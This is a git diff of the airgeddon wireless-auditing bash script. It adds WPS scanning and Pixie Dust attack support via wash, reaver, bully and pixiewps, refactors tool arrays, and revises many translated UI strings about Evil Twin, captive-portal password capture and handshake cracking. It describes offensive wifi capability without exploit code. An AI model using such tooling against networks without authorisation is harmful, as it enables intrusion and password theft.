diff --git a/README.md b/README.md
index 7e43ef8dd..f944fbc57 100644
--- a/README.md
+++ b/README.md
@@ -9,6 +9,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
- Offline password decrypt on WPA/WPA2 captured files (dictionary, bruteforce and rule based).
- 4 Evil Twin attacks: Evil Twin with integrated sniffing, with sslstrip, "only AP" version to sniff with external sniffer and "black hole" captive portal to capture wifi passwords.
+- WPS features: WPS scanning (wash). WPS Custom pin association. WPS Pixie Dust attacks integrated with reaver and bully.
- Compatibility with many Linux distros (see requirements section).
- Easy targeting and selection in every section.
- Drag and drop files on console window for entering file paths.
@@ -19,11 +20,8 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
@@ -42,7 +40,7 @@ Tested on these compatible Linux distros:
*-Gentoo 20160514 and 20160704*
*-Fedora 24*
*-Red Hat 7 (Maipo)*
-*-Arch 4.6.2-1*
+*-Arch 4.6.2-1, 4.7.5-1, 4.8.4-1 and 4.8.6-1*
*-Raspbian 7 (Wheezy) and 8 (Jessie) (Raspberry Pi)*
*-OpenMandriva LX3*
@@ -78,6 +76,9 @@ etterlog -> ettercap / ettercap-text-only / ettercap-graphical
sslstrip -> sslstrip
lighttpd -> lighttpd
dnsspoof -> dsniff
+wash -> reaver
+reaver -> reaver
+bully -> bully
```
Update tools: <- *not necessary to work, only used for auto-update*
```
@@ -145,7 +146,7 @@ Thanks to the Hackware.ru admins.
**El padrino** for Catalan translations.
**Luan** for Portuguese translations.
**MiAl** for Russian translations.
-**xtonousou** for Greek translations and the help received fixing code warnings.
+**xtonousou** for Greek translations, beta testing, suggestions and the help received fixing code warnings and other stuff.
Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
diff --git a/airgeddon.sh b/airgeddon.sh
index a6a7fce83..76f08d68c 100644
--- a/airgeddon.sh
+++ b/airgeddon.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-airgeddon_version="4.32"
+airgeddon_version="5.0"
#Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0
debug_mode=0
@@ -60,23 +60,18 @@ optional_tools_names=(
"sslstrip"
"lighttpd"
"dnsspoof"
+ "wash"
+ "reaver"
+ "bully"
+ "pixiewps"
)
-declare -A optional_tools=(
- [${optional_tools_names[0]}]=0
- [${optional_tools_names[1]}]=0
- [${optional_tools_names[2]}]=0
- [${optional_tools_names[3]}]=0
- [${optional_tools_names[4]}]=0
- [${optional_tools_names[5]}]=0
- [${optional_tools_names[6]}]=0
- [${optional_tools_names[7]}]=0
- [${optional_tools_names[8]}]=0
- [${optional_tools_names[9]}]=0
- [${optional_tools_names[10]}]=0
- [${optional_tools_names[11]}]=0
- [${optional_tools_names[12]}]=0
- )
+declare -A optional_tools=()
+
+#Initialize optional_tools values
+for item in "${optional_tools_names[@]}"; do
+ optional_tools[${item}]=0
+done
update_tools=("curl")
@@ -101,6 +96,10 @@ declare -A possible_package_names=(
[${optional_tools_names[10]}]="sslstrip" #sslstrip
[${optional_tools_names[11]}]="lighttpd" #lighttpd
[${optional_tools_names[12]}]="dsniff" #dnsspoof
+ [${optional_tools_names[13]}]="reaver" #wash
+ [${optional_tools_names[14]}]="reaver" #reaver
+ [${optional_tools_names[15]}]="bully" #bully
+ [${optional_tools_names[16]}]="pixiewps" #pixiewps
[${update_tools[0]}]="curl" #curl
)
@@ -109,6 +108,10 @@ standardhandshake_filename="handshake-01.cap"
tmpdir="/tmp/"
osversionfile_dir="/etc/"
minimum_bash_version_required="4.0"
+minimum_reaver_pixiewps_version="1.5.2"
+minimum_reaver_wash_large_version="1.5.2"
+minimum_bully_pixiewps_version="1.1"
+minimum_bully_verbosity4_version="1.1"
resume_message=224
abort_question=12
pending_of_translation="[PoT]"
@@ -183,6 +186,7 @@ declare select_interface_hints=(246)
declare language_hints=(250)
declare evil_twin_hints=(254 258 264 269 309 328)
declare evil_twin_dos_hints=(267 268)
+declare wps_hints=(342 343 344 356 369)
#Charset vars
crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz"
@@ -455,13 +459,13 @@ function language_strings() {
et_misc_texts["RUSSIAN",24]="Пароль был сохранён в файле"
et_misc_texts["GREEK",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο"
- et_misc_texts["ENGLISH",25]="Press Enter on the main script window to continue, this window will be closed"
- et_misc_texts["SPANISH",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará"
- et_misc_texts["FRENCH",25]="Appuyez sur Entrée dans la fenêtre principale du script pour continuer, cette fenêtre se fermera"
- et_misc_texts["CATALAN",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà"
- et_misc_texts["PORTUGUESE",25]="Pressione Enter na janela principal do script para continuar e esta janela será fechada"
- et_misc_texts["RUSSIAN",25]="Нажмите Enter в главном окне для продолжения, это окно будет закрыто"
- et_misc_texts["GREEK",25]="Πατήστε Enter στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει"
+ et_misc_texts["ENGLISH",25]="Press [Enter] on the main script window to continue, this window will be closed"
+ et_misc_texts["SPANISH",25]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará"
+ et_misc_texts["FRENCH",25]="Appuyez sur [Entrée] dans la fenêtre principale du script pour continuer, cette fenêtre se fermera"
+ et_misc_texts["CATALAN",25]="Prem [Enter] a la finestra principal del script per continuar, aquesta finestra es tancarà"
+ et_misc_texts["PORTUGUESE",25]="Pressione [Enter] na janela principal do script para continuar e esta janela será fechada"
+ et_misc_texts["RUSSIAN",25]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто"
+ et_misc_texts["GREEK",25]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει"
et_misc_texts["ENGLISH",26]="Error. The password must be at least 8 characters. Redirecting to the main screen"
et_misc_texts["SPANISH",26]="Error. La contraseña debe tener al menos 8 caracteres. Redirigiendo a la pantalla principal"
@@ -736,13 +740,13 @@ function language_strings() {
arr["RUSSIAN",32]="Все параметры установлены"
arr["GREEK",32]="Έχουν τεθεί όλοι οι παράμετροι"
- arr["ENGLISH",33]="Starting attack. When started, press Ctrl+C to stop..."
- arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse Ctrl+C para pararlo..."
- arr["FRENCH",33]="L'attaque est lancé. Pressez Ctrl+C pour l'arrêter..."
- arr["CATALAN",33]="Començant l'atac. Un cop començat, premeu Ctrl+C per aturar-lo..."
- arr["PORTUGUESE",33]="Começando ataque. Uma vez iniciado, pressione Ctrl+C para parar..."
- arr["RUSSIAN",33]="Начало атаки. Когда начнётся, нажмите Ctrl+C для остановки..."
- arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε Ctrl+C για να σταματήσει..."
+ arr["ENGLISH",33]="Starting attack. When started, press [Ctrl+C] to stop..."
+ arr["SPANISH",33]="Comenzando ataque. Una vez empezado, pulse [Ctrl+C] para pararlo..."
+ arr["FRENCH",33]="L'attaque est lancé. Pressez [Ctrl+C] pour l'arrêter..."
+ arr["CATALAN",33]="Començant l'atac. Un cop començat, premeu [Ctrl+C] per aturar-lo..."
+ arr["PORTUGUESE",33]="Começando ataque. Uma vez iniciado, pressione [Ctrl+C] para parar..."
+ arr["RUSSIAN",33]="Начало атаки. Когда начнётся, нажмите [Ctrl+C] для остановки..."
+ arr["GREEK",33]="Έναρξη επίθεσης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..."
arr["ENGLISH",34]="Selected interface ${interface} is in monitor mode. Attack can be performed"
arr["SPANISH",34]="La interfaz seleccionado ${interface} está en modo monitor. El ataque se puede realizar"
@@ -952,21 +956,21 @@ function language_strings() {
arr["RUSSIAN",59]="11. Вернуться в главное меню"
arr["GREEK",59]="11. Επιστροφή στο αρχικό μενού"
- arr["ENGLISH",60]="8. About & Credits"
- arr["SPANISH",60]="8. Acerca de & Créditos"
- arr["FRENCH",60]="8. A propos de & Crédits"
- arr["CATALAN",60]="8. Sobre & Crédits"
- arr["PORTUGUESE",60]="8. Sobre & Créditos"
- arr["RUSSIAN",60]="8. О программе и Благодарности"
- arr["GREEK",60]="8. Σχετικά με & Εύσημα"
-
- arr["ENGLISH",61]="10. Exit script"
- arr["SPANISH",61]="10. Salir del script"
- arr["FRENCH",61]="10. Sortir du script"
- arr["CATALAN",61]="10. Sortir del script"
- arr["PORTUGUESE",61]="10. Sair do script"
- arr["RUSSIAN",61]="10. Выйти из скрипта"
- arr["GREEK",61]="10. Έξοδος script"
+ arr["ENGLISH",60]="9. About & Credits"
+ arr["SPANISH",60]="9. Acerca de & Créditos"
+ arr["FRENCH",60]="9. A propos de & Crédits"
+ arr["CATALAN",60]="9. Sobre & Crédits"
+ arr["PORTUGUESE",60]="9. Sobre & Créditos"
+ arr["RUSSIAN",60]="9. О программе и Благодарности"
+ arr["GREEK",60]="9. Σχετικά με & Εύσημα"
+
+ arr["ENGLISH",61]="11. Exit script"
+ arr["SPANISH",61]="11. Salir del script"
+ arr["FRENCH",61]="11. Sortir du script"
+ arr["CATALAN",61]="11. Sortir del script"
+ arr["PORTUGUESE",61]="11. Sair do script"
+ arr["RUSSIAN",61]="11. Выйти из скрипта"
+ arr["GREEK",61]="11. Έξοδος script"
arr["ENGLISH",62]="8. Beacon flood attack"
arr["SPANISH",62]="8. Ataque Beacon flood"
@@ -1008,13 +1012,13 @@ function language_strings() {
arr["RUSSIAN",66]="Выбранный интерфейс ${interface} в режиме монитора. Сканирование может быть выполнена"
arr["GREEK",66]="Η επιλεγμένη διεπαφή ${interface} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση"
- arr["ENGLISH",67]="When started, press Ctrl+C to stop..."
- arr["SPANISH",67]="Una vez empezado, pulse Ctrl+C para pararlo..."
- arr["FRENCH",67]="Une foi l'opération lancée, veuillez presser Ctrl+C pour l'arrêter..."
- arr["CATALAN",67]="Una vegada iniciat, polsi Ctrl+C per detenir-ho..."
- arr["PORTUGUESE",67]="Uma vez iniciado, pressione Ctrl+C para pará-lo..."
- arr["RUSSIAN",67]="После запуска, нажмите Ctrl+C для остановки..."
- arr["GREEK",67]="Όταν αρχίσει, πατήστε Ctrl+C για να σταματήσει..."
+ arr["ENGLISH",67]="When started, press [Ctrl+C] to stop..."
+ arr["SPANISH",67]="Una vez empezado, pulse [Ctrl+C] para pararlo..."
+ arr["FRENCH",67]="Une foi l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..."
+ arr["CATALAN",67]="Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..."
+ arr["PORTUGUESE",67]="Uma vez iniciado, pressione [Ctrl+C] para pará-lo..."
+ arr["RUSSIAN",67]="После запуска, нажмите [Ctrl+C] для остановки..."
+ arr["GREEK",67]="Όταν αρχίσει, πατήστε [Ctrl+C] για να σταματήσει..."
arr["ENGLISH",68]="No networks found"
arr["SPANISH",68]="No se encontraron redes"
@@ -1096,13 +1100,13 @@ function language_strings() {
arr["RUSSIAN",77]="Был выбран недействительный интерфейс"
arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή"
- arr["ENGLISH",78]="9. Change language"
- arr["SPANISH",78]="9. Cambiar idioma"
- arr["FRENCH",78]="9. Changer de langue"
- arr["CATALAN",78]="9. Canviar l'idioma"
- arr["PORTUGUESE",78]="9. Alterar idioma"
- arr["RUSSIAN",78]="9. Сменить язык"
- arr["GREEK",78]="9. Αλλαγή γλώσσας"
+ arr["ENGLISH",78]="10. Change language"
+ arr["SPANISH",78]="10. Cambiar idioma"
+ arr["FRENCH",78]="10. Changer de langue"
+ arr["CATALAN",78]="10. Canviar l'idioma"
+ arr["PORTUGUESE",78]="10. Alterar idioma"
+ arr["RUSSIAN",78]="10. Сменить язык"
+ arr["GREEK",78]="10. Αλλαγή γλώσσας"
arr["ENGLISH",79]="1. English"
arr["SPANISH",79]="1. Inglés"
@@ -1656,13 +1660,13 @@ function language_strings() {
arr["RUSSIAN",147]="4. Возврат в меню инструментов для работы с рукопожатием"
arr["GREEK",147]="4. Επιστροφή στο μενού με τα εργαλεία Χειραψίας"
- arr["ENGLISH",148]="Type the path to store the file or press Enter to accept the default proposal ${normal_color}[${handshakepath}]"
- arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto ${normal_color}[${handshakepath}]"
- arr["FRENCH",148]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur Entrée pour prendre le chemin proposé par défaut ${normal_color}[${handshakepath}]"
- arr["CATALAN",148]="Escriu la ruta on guardarem el fitxer o prem Enter per acceptar la proposta per defecte ${normal_color}[${handshakepath}]"
- arr["PORTUGUESE",148]="Digite o caminho para salvar o arquivo ou pressione Enter para o caminho padrão ${normal_color}[${handshakepath}]"
- arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите Enter для принятия предложения по умолчанию ${normal_color}[${handshakepath}]"
- arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε Enter για την προεπιλεγμένη επιλογή ${normal_color}[${handshakepath}]"
+ arr["ENGLISH",148]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${handshakepath}]"
+ arr["SPANISH",148]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${handshakepath}]"
+ arr["FRENCH",148]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Entrée] pour prendre le chemin proposé par défaut ${normal_color}[${handshakepath}]"
+ arr["CATALAN",148]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${handshakepath}]"
+ arr["PORTUGUESE",148]="Digite o caminho para salvar o arquivo ou pressione [Enter] para o caminho padrão ${normal_color}[${handshakepath}]"
+ arr["RUSSIAN",148]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${handshakepath}]"
+ arr["GREEK",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${handshakepath}]"
arr["ENGLISH",149]="Handshake file generated successfully at [${normal_color}${enteredpath}${blue_color}]"
arr["SPANISH",149]="Fichero de Handshake generado con éxito en [${normal_color}${enteredpath}${blue_color}]"
@@ -1992,13 +1996,13 @@ function language_strings() {
arr["RUSSIAN",189]="Путь до файла захвата верен. Скрипт может продолжать..."
arr["GREEK",189]="Το μονοπάτι για το αρχείο καταγραφής είναι έγκυρο. Το script μπορεί να συνεχίσει..."
- arr["ENGLISH",190]="Starting decrypt. When started, press Ctrl+C to stop..."
- arr["SPANISH",190]="Comenzando desencriptado. Una vez empezado, pulse Ctrl+C para pararlo..."
- arr["FRENCH",190]="Lancement du crack. Pressez Ctrl+C pour l'arrêter..."
- arr["CATALAN",190]="Començant el desencriptat. Un cop començat, premeu Ctrl+C per aturar-lo..."
- arr["PORTUGUESE",190]="Começando a descriptografar. Uma vez iniciado, pressione Ctrl+C para parar..."
- arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите Ctrl+C для остановки..."
- arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε Ctrl+C για να σταματήσει..."
+ arr["ENGLISH",190]="Starting decrypt. When started, press [Ctrl+C] to stop..."
+ arr["SPANISH",190]="Comenzando desencriptado. Una vez empezado, pulse [Ctrl+C] para pararlo..."
+ arr["FRENCH",190]="Lancement du crack. Pressez [Ctrl+C] pour l'arrêter..."
+ arr["CATALAN",190]="Començant el desencriptat. Un cop començat, premeu [Ctrl+C] per aturar-lo..."
+ arr["PORTUGUESE",190]="Começando a descriptografar. Uma vez iniciado, pressione [Ctrl+C] para parar..."
+ arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..."
+ arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..."
arr["ENGLISH",191]="Capture file you selected is an unsupported file format (not a pcap or IVs file)"
arr["SPANISH",191]="El fichero de captura que has seleccionado tiene un formato no soportado (no es un fichero pcap o de IVs)"
@@ -2336,13 +2340,13 @@ function language_strings() {
arr["RUSSIAN",232]="5. (hashcat) Атака на основе правила в отношении захваченного файла"
arr["GREEK",232]="5. (hashcat) Επίθεση κανόνων σε αρχείο καταγραφής"
- arr["ENGLISH",233]="Type the path to store the file or press Enter to accept the default proposal ${normal_color}[${hashcat_potpath}]"
- arr["SPANISH",233]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto ${normal_color}[${hashcat_potpath}]"
- arr["FRENCH",233]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé ${normal_color}[${hashcat_potpath}]"
- arr["CATALAN",233]="Escriu la ruta on guardarem el fitxer o prem Enter per acceptar la proposta per defecte ${normal_color}[${hashcat_potpath}]"
- arr["PORTUGUESE",233]="Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar o padrão ${normal_color}[${hashcat_potpath}]"
- arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите Enter для принятия предложения по умолчоанию ${normal_color}[${hashcat_potpath}]"
- arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε Enter για την προεπιλεγμένη επιλογή ${normal_color}[${hashcat_potpath}]"
+ arr["ENGLISH",233]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${hashcat_potpath}]"
+ arr["SPANISH",233]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${hashcat_potpath}]"
+ arr["FRENCH",233]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Entrée] pour utiliser le chemin proposé ${normal_color}[${hashcat_potpath}]"
+ arr["CATALAN",233]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${hashcat_potpath}]"
+ arr["PORTUGUESE",233]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${hashcat_potpath}]"
+ arr["RUSSIAN",233]="Напечатайте путь к сохранённому файлу или нажмите [Enter] для принятия предложения по умолчоанию ${normal_color}[${hashcat_potpath}]"
+ arr["GREEK",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${hashcat_potpath}]"
arr["ENGLISH",234]="Contratulations!! It seems the key has been decrypted"
arr["SPANISH",234]="Enhorabuena!! Parece que la clave ha sido desencriptada"
@@ -2840,13 +2844,13 @@ function language_strings() {
arr["RUSSIAN",295]="Определение разрешения... Не получается определить!, используется стандартное : ${normal_color}${resolution}"
arr["GREEK",295]="Εντοπίζεται η ανάλυση... Δεν μπορεί να εντοπιστεί!, χρησιμοποιείται η προεπιλεγμένη : ${normal_color}${resolution}"
- arr["ENGLISH",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press Enter on this window and the script will automatically close them all"
- arr["SPANISH",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa Enter en esta ventana y el script cerrará automaticamente todo"
- arr["FRENCH",296]="Tous les paramètres de l'attaque sont prêts et elle peut comenmcer. Plusieurs consoles vont s'ouvrir, ne les fermez pas. Lorsque vous voulez arrêter l'attaque, appuyez sur Entrée dans cette console et le script fermera automatiquement les autres"
- arr["CATALAN",296]="Tots els paràmetres i requeriments estan preparats. Començarà l'atac. S'obriran múltiples finestres, no tanquis cap. Quan vulguis parar l'atac prem Enter en aquesta finestra i el script tancarà automàticament tot"
- arr["PORTUGUESE",296]="Todos os parâmetros e requisitos estão prontos. Você vai começar o ataque. Várias janelas iram se abrir, não feche nenhuma delas. Quando quiser parar o ataque pressione Enter nesta janela e o script irá fechar automaticamente"
- arr["RUSSIAN",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте какое-либо. Когда вы захотите остановить атаку, нажмите Enter в этом окне и скрипт автоматически их все закроет"
- arr["GREEK",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε Enter σε αυτό το παράθυρο και το script θα τα κλείσει όλα"
+ arr["ENGLISH",296]="All parameters and requirements are set. The attack is going to start. Multiple windows will be opened, don't close anyone. When you want to stop the attack press [Enter] on this window and the script will automatically close them all"
+ arr["SPANISH",296]="Todos los parámetros y requerimientos están listos. Va a comenzar el ataque. Se abrirán múltiples ventanas, no cierres ninguna. Cuando quieras parar el ataque pulsa [Enter] en esta ventana y el script cerrará automaticamente todo"
+ arr["FRENCH",296]="Tous les paramètres de l'attaque sont prêts et elle peut comenmcer. Plusieurs consoles vont s'ouvrir, ne les fermez pas. Lorsque vous voulez arrêter l'attaque, appuyez sur [Entrée] dans cette console et le script fermera automatiquement les autres"
+ arr["CATALAN",296]="Tots els paràmetres i requeriments estan preparats. Començarà l'atac. S'obriran múltiples finestres, no tanquis cap. Quan vulguis parar l'atac prem [Enter] en aquesta finestra i el script tancarà automàticament tot"
+ arr["PORTUGUESE",296]="Todos os parâmetros e requisitos estão prontos. Você vai começar o ataque. Várias janelas iram se abrir, não feche nenhuma delas. Quando quiser parar o ataque pressione [Enter] nesta janela e o script irá fechar automaticamente"
+ arr["RUSSIAN",296]="Все параметры и требования готовы. Атака может быть начата. Будет открыто много окон, не закрывайте какое-либо. Когда вы захотите остановить атаку, нажмите [Enter] в этом окне и скрипт автоматически их все закроет"
+ arr["GREEK",296]="Όλοι οι παράμετροι και οι απαιτήσεις έχουν τεθεί. Η επίθεση πρόκειται να ξεκινήσει. Θα ανοίξουν πολλαπλά παράθυρα, μην επιχειρήσετε να κλείσετε κάποιο. Όταν θελήσετε να σταματήσετε την επίθεση πατήστε [Enter] σε αυτό το παράθυρο και το script θα τα κλείσει όλα"
arr["ENGLISH",297]="Cleaning iptables and routing rules"
arr["SPANISH",297]="Limpiando iptables y reglas de routing"
@@ -2856,13 +2860,13 @@ function language_strings() {
arr["RUSSIAN",297]="Очистка iptables и правило маршрутизации"
arr["GREEK",297]="Γινεται καθαρισμός των iptables και των κανόνων δρομολόγησης"
- arr["ENGLISH",298]="Evil Twin attack has been started. Press Enter key on this window to stop it"
- arr["SPANISH",298]="El ataque Evil Twin ha comenzado. Pulse la tecla Enter en esta ventana para pararlo"
- arr["FRENCH",298]="L'attaque Evil Twin a commencé. Pressez la touche Entrée dans cette console pour l'arrêter"
- arr["CATALAN",298]="L'atac Evil Twin ha començat. Prem Enter a aquesta finestra per aturar-lo"
- arr["PORTUGUESE",298]="Ataque Evil Twin iniciado. Pressione a tecla Enter nesta janela para parar"
- arr["RUSSIAN",298]="Атака Злой Двойник начата. Для её остановки клавишу Enter в этом окне"
- arr["GREEK",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί Enter σε αυτό το παράθυρο για να την σταματήσετε"
+ arr["ENGLISH",298]="Evil Twin attack has been started. Press [Enter] key on this window to stop it"
+ arr["SPANISH",298]="El ataque Evil Twin ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo"
+ arr["FRENCH",298]="L'attaque Evil Twin a commencé. Pressez la touche [Entrée] dans cette console pour l'arrêter"
+ arr["CATALAN",298]="L'atac Evil Twin ha començat. Prem [Enter] a aquesta finestra per aturar-lo"
+ arr["PORTUGUESE",298]="Ataque Evil Twin iniciado. Pressione a tecla [Enter] nesta janela para parar"
+ arr["RUSSIAN",298]="Атака Злой Двойник начата. Для её остановки клавишу [Enter] в этом окне"
+ arr["GREEK",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε"
arr["ENGLISH",299]="Restoring interface..."
arr["SPANISH",299]="Restaurando interfaz..."
@@ -2896,13 +2900,13 @@ function language_strings() {
arr["RUSSIAN",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? ${blue_color}Если ваш ответ нет (\"n\") они будут только показаны на экране ${normal_color}[y/n]"
arr["GREEK",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης; ${blue_color}Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη ${normal_color}[y/n]"
- arr["ENGLISH",303]="Type the path to store the file or press Enter to accept the default proposal ${normal_color}[${default_ettercap_logpath}]"
- arr["SPANISH",303]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto ${normal_color}[${default_ettercap_logpath}]"
- arr["FRENCH",303]="Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé ${normal_color}[${default_ettercap_logpath}]"
- arr["CATALAN",303]="Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte ${normal_color}[${default_ettercap_logpath}]"
- arr["PORTUGUESE",303]="Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar o padrão ${normal_color}[${default_ettercap_logpath}]"
- arr["RUSSIAN",303]="Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию ${normal_color}[${default_ettercap_logpath}]"
- arr["GREEK",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή ${normal_color}[${default_ettercap_logpath}]"
+ arr["ENGLISH",303]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_ettercap_logpath}]"
+ arr["SPANISH",303]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_ettercap_logpath}]"
+ arr["FRENCH",303]="Entrez le chemin du fichier ou bien appuyez sur [Entrée] pour utiliser le chemin proposé ${normal_color}[${default_ettercap_logpath}]"
+ arr["CATALAN",303]="Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${default_ettercap_logpath}]"
+ arr["PORTUGUESE",303]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${default_ettercap_logpath}]"
+ arr["RUSSIAN",303]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_ettercap_logpath}]"
+ arr["GREEK",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_ettercap_logpath}]"
arr["ENGLISH",304]="Parsing sniffer log..."
arr["SPANISH",304]="Analizando log del sniffer.."
@@ -3006,15 +3010,15 @@ function language_strings() {
arr["CATALAN",316]="Es realitzarà una exploració a la recerca d'objectius..."
arr["PORTUGUESE",316]="Uma busca por redes wifi será realizada..."
arr["RUSSIAN",316]="Выполнение сканирования целей..."
- arr["GREEK",316]="Πρόκειται να γίνει μία εξερεύνηση για έυρεση στόχων..."
+ arr["GREEK",316]="Πρόκειται να γίνει μία αναζήτηση για έυρεση στόχων..."
- arr["ENGLISH",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. ${green_color}Type the path to store the file or press Enter to accept the default proposal ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["SPANISH",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["FRENCH",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. ${green_color}Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["CATALAN",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. ${green_color}Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["PORTUGUESE",317]="Se a senha da rede wifi for conseguida com o portal cativo, onde deseja salvar? ${green_color}Digite um caminho para salvar o arquivo ou pressione Enter para aceitar o padrão ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["RUSSIAN",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. ${green_color}Впишите путь до файла или нажмите Enter для принятия значения по умолчанию ${normal_color}[${default_et_captive_portal_logpath}]"
- arr["GREEK",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["ENGLISH",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["SPANISH",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_et_captive_portal_logpath}]"
